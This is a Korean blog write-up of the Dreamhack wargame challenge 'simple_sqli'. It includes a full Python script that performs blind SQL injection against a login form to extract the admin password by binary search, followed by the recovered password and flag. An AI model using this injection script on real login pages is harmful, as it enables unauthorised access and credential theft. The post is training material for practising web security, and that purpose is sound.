CTF & Wargame(WEB)

[dreamhack] level 1 simple_sqli (blind_sqli 활용)

KWAKBUMJUN 2025. 4. 14. 02:17

BSSQLi

blind sql injection은 여러번의 질의를 통해 정답을 찾아내는 것이다. 따라서 데이터의 구조를 파악하고 파이썬 스크립트로 자동화하여 비밀번호를 찾아낸다.

 

로그인 요청의 폼 구조 파악

개발자 도구에서 network 탭을 클릭하고 preserve log를 체크하면 login 탭으로 로그인할때 전송하는 POST 데이터의 구조를 확인할수 있다. 확인을 위해 guest, guest로 로그인을 해보면

위와 같이 userid, userpassword로 전송되는 것을 확인할 수 있다.

 

BSQLi를 이용한 비밀번호 추출

#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin


class Solver:
    """Solver for simple_SQLi challenge"""

    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host3.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")

    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {"userid": userid, "userpassword": userpassword}
        resp = requests.post(self._login_url, data=login_data)
        return resp

    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f'" or {query}-- ', "hi")
        return resp

    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low + high) // 2
            if low + 1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid

    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len

    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ""
        for idx in range(1, pw_len + 1):
            query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
            print(f"{idx}. {pw}")
        return pw

    def solve(self) -> None:
        # Find the length of admin password
        pw_len = self._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = self._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")


if __name__ == "__main__":
    port = 20329
    solver = Solver(port)
    solver.solve()

 

userid : "admin"

userpassword : 0ecca12d582cc4ad34673170d2872294

위의 아이디와 비밀번호로 로그인하면 flag를 획득할 수 있음.

 

hello admin flag is DH{c1126c8d35d8deaa39c5dd6fc8855ed0} 출력됨

'CTF & Wargame(WEB)' 카테고리의 다른 글

[dreamhack] beginner command-injection-1  (0) 2025.04.14
[dreamhack] level 2 mango  (0) 2025.04.14
[dreamhack] level 1 simple_sqli  (0) 2025.04.13
[dreamhack] level 1 csrf-2  (0) 2025.04.13
[dreamhack] level 1 csrf-1  (0) 2025.04.13